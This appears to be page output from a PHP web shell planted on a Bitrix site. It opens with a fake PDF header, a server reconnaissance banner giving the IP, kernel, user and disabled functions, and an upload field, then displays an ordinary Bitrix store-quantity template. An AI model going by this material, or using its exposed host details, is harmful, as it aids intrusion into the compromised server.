%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.139.86.131 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.mobile.order.stores/templates/.default/ |
Upload File : |
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die(); $arStoresIds = array(); $arData = array( array( "TITLE" => GetMessage("SMOS_PRODUCT_NAME"), "TYPE" => "BLOCK", "DATA" => array( array( "TYPE" => "TEXT_RO", "VALUE" => htmlspecialcharsbx($arParams["PRODUCT_DATA"]["NAME"]) ) ) ), array( "TITLE" => GetMessage("SMOS_MUST_DEDUCT"), "TYPE" => "BLOCK", "DATA" => array( array( "TYPE" => "TEXT_RO", "VALUE" => $arParams["PRODUCT_DATA"]["QUANTITY"] ) ) ) ); if (isset($arParams["PRODUCT_DATA"]["STORES"]) && is_array($arParams["PRODUCT_DATA"]["STORES"])) { foreach ($arParams["PRODUCT_DATA"]["STORES"] as $arStore) { $arData[] = array( "TITLE" => htmlspecialcharsbx($arStore["STORE_NAME"])." (".$arStore["STORE_ID"].")", "TYPE" => "BLOCK", "DATA" => array( array( "TYPE" => "TEXT_RO", "VALUE" => GetMessage("SMOS_PRODUCT_AMOUNT").": ".$arStore["AMOUNT"] ), array( "TYPE" => "TEXT", "TITLE" => GetMessage("SMOS_PRODUCT_QUANTITY"), "ID" => "STORE_".$arStore["STORE_ID"]."_QUANTITY" ) ) ); $arStoresIds[] = $arStore["STORE_ID"]; } } $APPLICATION->IncludeComponent( 'bitrix:mobileapp.edit', '.default', array( "TITLE" => GetMessage("SMODE_TITLE"), "FORM_ID" => 'sale_mos_form_id', "DATA" => $arData, ), false ); ?> <script type="text/javascript"> var listParams = { aStoresIds: "<?=CUtil::PhpToJsObject($arStoresIds)?>", neededAmount: parseFloat("<?=$arParams["PRODUCT_DATA"]["QUANTITY"]?>") }; var bsmos = new __BitrixSaleMOS(listParams); app.addButtons({ cancelButton: { type: "back_text", style: "custom", position: 'left', name: "<?=GetMessage('SMOS_BACK');?>", callback: function() { bsmos.close(); } }, saveButton: { type: "right_text", style: "custom", name: "<?=GetMessage('SMOS_SAVE');?>", callback: function() { var qByStoresId = bsmos.getQuantities(); if(!bsmos.checkQuantities(qByStoresId)) { app.alert({ text: "<?=GetMessage("SMOS_CHECK_ERROR")?>" }); return; } app.onCustomEvent("onBitrixSaleMOSResult", { "productId" : "<?=$arParams["PRODUCT_DATA"]["ID"]?>", "qByStoresId" : qByStoresId }); bsmos.close(); } } }); BX.addCustomEvent('onBitrixSaleMOSGetInfo', function (params){ bsmos.setQuantities(params); }); app.onCustomEvent("onBitrixSaleMOSLoaded", { "productId" : "<?=$arParams["PRODUCT_DATA"]["ID"]?>" }); </script>